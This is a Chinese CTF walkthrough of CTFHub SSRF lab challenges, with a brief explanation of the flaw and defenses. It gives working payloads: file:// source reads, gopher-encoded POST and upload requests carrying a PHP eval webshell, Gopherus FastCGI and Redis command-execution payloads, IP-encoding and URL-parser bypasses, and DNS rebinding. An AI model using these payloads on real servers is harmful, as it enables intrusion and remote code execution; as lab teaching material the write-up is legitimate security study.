CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(超详细总结)
什么是SSRF?
即服务器端请求伪造(Server-Side Request Forgery),是一种网络攻击技术,攻击者利用服务器上的应用程序向任意服务器发起请求或者操作,这些请求可能包括但不限于文件读取、命令执行、端口扫描等。由于这些请求是从服务器内部发起的,因此他们可以绕过服务器的外部访问控制,访问内部网络资源或者执行恶意操作。
它的危害
SSRF攻击通常发生再服务器应用程序允许用户输入被用于构建请求 URL的情况下。如果输入没有得到适当的验证和过滤,攻击者就可以利用这一点来发起恶意请求。例如,如果一个应用程序允许用户输入一个URL来下载文件,攻击者可能会输入指向内部服务器的URL,从而访问或者下载内部文件。
如何防御?
- 验证所有用户输入,确保它们是合法的和预期的。
- 限制可访问的URL或资源,避免访问内部网络或敏感资源。
- 使用白名单机制,只允许访问预定义的、安全的URL。
- 对于敏感操作,实施额外的安全措施,如身份验证和授权检查。
SSRF漏洞复现
靶场:CTFHub,Pikachu
内网访问
开启环境后,查看题目条件,找出位于127.0.0.1的flag.php
页面什么也没有
根据题目要求尝试使用这个url参数,进行内网访问,但是页面什么也没有
仔细观察url参数前面有一个_
,将它删掉试试,测试成功
伪协议读取文件
常见的伪协议类型有
- file:///
- dict://
- sftp://
- ldap://
- tftp://
- gopher://
这里我们用到的是file:/// –本地文件传输协议,主要用来访问本地计算机中的文件,构造payload如下。
/?url=file:///var/www/html/flag.php
鬼的,他就三个?对于刚入门的小白,我懵逼了。。。。直到几分钟后我查看了他的源码。
emmmm,这不就是我们的结果嘛,这关过了
端口扫描
题目:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦
截取到请求包之后发送到攻击器(Intruder)
添加payload,这里只有一个需要爆破,所以攻击方式选狙击手
设置payload为数值型,因为需要扫描的端口是8000-9000,所以payload配置如下
验证匹配结果,并开始攻击
端口爆破成功,成功找到flag,端口为8248
尝试使用浏览器访问内网的8248端口,成功!
Gopher协议的利用
定义:Gopher是早期的Internet信息检索系统,通过索引将用户引导至不同资源,主要使用TCP 70端口
。在WWW普及前,它是主要的检索工具,但现已基本过时,使用较少。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
POST
题目:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
这个题目中呢有这么一个文件,在127.0.0.1中的flag.php
当我尝试输入了各种值,抓包分析,直到我查看了源码。。
这里有一个key,还是被注释了的,不知道是干嘛的先复制下来2161b9fb20ae6d96b0604425b1de64be
,尝试使用file协议查看php源码,访问默认web目录var/www/html/flag.php,即
?url=file:///var/www/html/flag.php
这时候即可查看源码,尝试进行分析
<?php
//关闭所有的错误报告
error_reporting(0);
//判断请求的ip地址是否是127.0.0.1
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
//如果不是127.0.0.1,就返回这段字符串
echo "Just View From 127.0.0.1";
return;
}
//falg的获取
$flag=getenv("CTFHUB");
$key = md5($flag);
//判断post请求中是否存在key这个参数,key就是刚刚页面上看到的注释的值
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
每个项目中默认主页都是index,这是一个php靶场,那么这首页就是index.php
/?url=file:///var/www/html/index.php
访问之后是个空页面,但是查看网页源码会发现,尝试分析一下源码
<?php
//关闭错误报告
error_reporting(0);
//判断url参数是否存在
if (!isset($_REQUEST['url'])){
//不存在就跳转到当前根目录
header("Location: /?url=_");
exit;
}
//初始化curl
$ch = curl_init();
//指定请求的url
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//告诉curl不返回http头,只返回http正文
curl_setopt($ch, CURLOPT_HEADER, 0);
//允许cURL跟随重定向。如果服务器响应包含重定向,cURL将自动处理。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
这段代码没有包含错误处理,也没有设置CURLOPT_RETURNTRANSFER
选项,这可能导致cURL的输出直接被输出到浏览器,所以可以利用此curl漏洞进行攻击
构造POST请求包
访问flag.php查看源码找到key,并输入到输入框,使用bp拦截
尝试使用Gopher 协议
向服务器发送 POST 包
在使用Gopher协议发送POST请求包时,HOST、Content-Type和Content-Length请求头是必不可少的,但是在GET请求中可以没有。key值为自己所获得的。
在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码。
所以我们需要对构造的请求包进行两次编码:
第一次解码
将解码的结果复制下来,保存在txt文档中,其中需要将%0A
替换成 %0D%0A
因为%0A是ASCII 码中的换行符,在URL的二次编码中不需要,否则会导致curl执行错误,导致我们拿不到正确的结果
替换完成之后,再次进行url编码,这里的url就是源码中的curl要执行的
//使用gopher协议,构造payload
?url=gopher://127.0.0.1:80/_二次编码的url(注意别少了前面那个下划线)
得到结果!
上传文件
题目:这次需要上传一个文件到flag.php了.祝你好运
访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮
这里脑回路就来了,题目要求是上传文件,没有提交按钮,我可以自己添加一个啊(・◡ु‹ )
Tips:在html中如果button在form标签中,默认是提交按钮,这里可以不要改变他的type属性。
这个时候就可以提交了,但是没有任何内容。
我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php
<?php
error_reporting(0);
//判断请求的ip,虽然不能访问127.0.0.1,但是可以使用Gopher协议绕过
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
// 判断文件是否存在
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
构造自己的post上传文件请求包
POST /flag.php HTTP/1.1
Host: challenge-3fe3506777a14929.sandbox.ctfhub.com:10800
Content-Length: 231
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryCkYhfsFblAQSYePb
Content-Disposition: form-data; name="file"; filename="myscript.php"
Content-Type: application/octet-stream
<?php @eval($_POST['shell']);?>
------WebKitFormBoundaryCkYhfsFblAQSYePb--
gopher
协议的俩次URL编码(第一次编码完成后需要将%0A修改为%0D%0A)
前面忘记补充了
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
得到伪造payload:
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Length:%2520231%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/125.0.0.0%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522myscript.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'shell'%255D);?%253E%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb--
得到结果(´。✪ω✪。`)
FastCGI协议
介绍
FastCGI是一种用于数据传输的通信协议,与HTTP协议相似,它提供了一个进行数据交换的通道。
详细见 https://blog.csdn.net/mysteryflower/article/details/94386461
CTFHub漏洞复现
题目:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助。
git clone https://github.com/tarunkant/Gopherus.git
然后使用python2执行这个脚本
这里的cat /f*
命令就是漏洞利用,获取flag返回的请求内容,这是我的payload
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
编码之后的结果
gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
进行注入,得到flag,(。◕ ∀ ◕。)
Redis协议
题目:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
本关还是使用Gopherus脚本
尝试使用漏洞file协议读取shell.php
?url=file:///var/www/html/shell.php
一句话木马上传成功
然后访问shell.php
使用中国大蚂蚁
打开终端,使用find命令查找flag*
find / -name flag*
这里我的结果在最后一行
cat查看内容 ⁙ὸ‿ό⁙
URL Bypass
原理
先看说一些废话吧,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常用的跳转,在登录,支付口,也就是一旦登录将会跳转任意自己构建的网站,如果设置成自己的url则会造成钓鱼。
参考 https://segmentfault.com/a/1190000021968717
漏洞复现
看题目:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
我们可以使用HTTP 基本身份认证绕过:
HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式也就是:http://www.xxx.com@www.yyy.com
形式,这里介绍一些常用绕过方式
1.最常用的@绕过
url=http://www.aaaa.com@www.xxx.com(要跳转的页面)他有的可能验证只要存在aaaa.com就允许访问,做个@解析,实际上我们是跳转到xxx.com的
2.?号绕过
url=http://www.aaaa.com?www.xxx.com
3.#绕过
url=http://www.aaaa.com#www.xxx.com
4.斜杠/绕过
url=http://www.aaaa.com/www.xxx.com
等等等等
paload如下:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
题目: 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
嗯,我的第一想法是使用localhost,不知道能不能行,尝试一下
成功,验证了我的想法,既然localhost
可以,转换为16进制
试试看,payload如下
?url=0x7f000001/flag.php
八进制:0177.000.000.001
十进制:127.0.0.1
十六进制:0x7f000001
既然也可以!!
分析下源码吧?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
exit;
}
echo getenv("CTFHUB");
分析下源码吧?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
哈哈哈,(#`ε´# )ゞ,就是如此,只限制了127.0.0.1不能输入,但是我们可以使用localhost和十六进制进行绕过
302跳转 Bypass
和上一题一样,可以使用localhost进行绕过,过
DNS重绑定
关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助
必看原理https://zhuanlan.zhihu.com/p/89426041
尝试payload进行访问
?url=127.0.0.1/flag.php
我们查看index.php的源码,和上一关一样。但上一关的方法却不起作用了
使用dns重绑定,https://lock.cmpxchg8b.com/rebinder.html
构造payload?url=7f000001.7f000002.rbndr.us/flag.php
SSRF完成,꒰#’ω`#꒱੭!
暂无评论内容